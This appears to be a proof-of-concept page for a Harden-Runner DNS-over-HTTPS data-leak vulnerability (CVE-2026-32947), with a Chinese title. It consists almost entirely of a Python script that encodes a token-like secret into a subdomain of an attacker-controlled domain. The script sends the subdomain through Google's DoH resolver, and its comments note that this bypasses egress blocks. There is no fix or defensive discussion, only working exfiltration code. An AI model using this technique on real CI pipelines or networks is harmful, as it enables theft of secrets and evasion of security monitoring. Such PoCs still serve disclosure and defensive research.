CVE-2026-32947 Harden-Runner DoH数据泄露漏洞

import requests import base64 # Target sensitive data to exfiltrate target_data = "GITHUB_TOKEN_SECRET" # Attacker's domain where they control the DNS server attacker_domain = "attacker-controlled-domain.com" # Encode data to be safe for DNS (simplified example) # In a real scenario, you might use Base32 or similar encoding suitable for subdomains encoded_data = base64.b32encode(target_data.encode()).decode('utf-8').lower() # Construct the subdomain for the DoH query # The query will be for: <encoded_data>.attacker-controlled-domain.com dns_query_name = f"{encoded_data}.{attacker_domain}" # Use Google's Public DNS over HTTPS API doh_url = "https://dns.google/resolve" # Parameters for the DoH request params = { 'name': dns_query_name, 'type': 'A' # Query type A (IPv4 address) } try: # Send the DoH request # This traffic appears as standard HTTPS to dns.google, bypassing simple egress blocks response = requests.get(doh_url, params=params) if response.status_code == 200: print(f"[+] PoC Successful: Data exfiltrated via DoH.") print(f"[+] Query sent for: {dns_query_name}") else: print(f"[-] PoC Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}")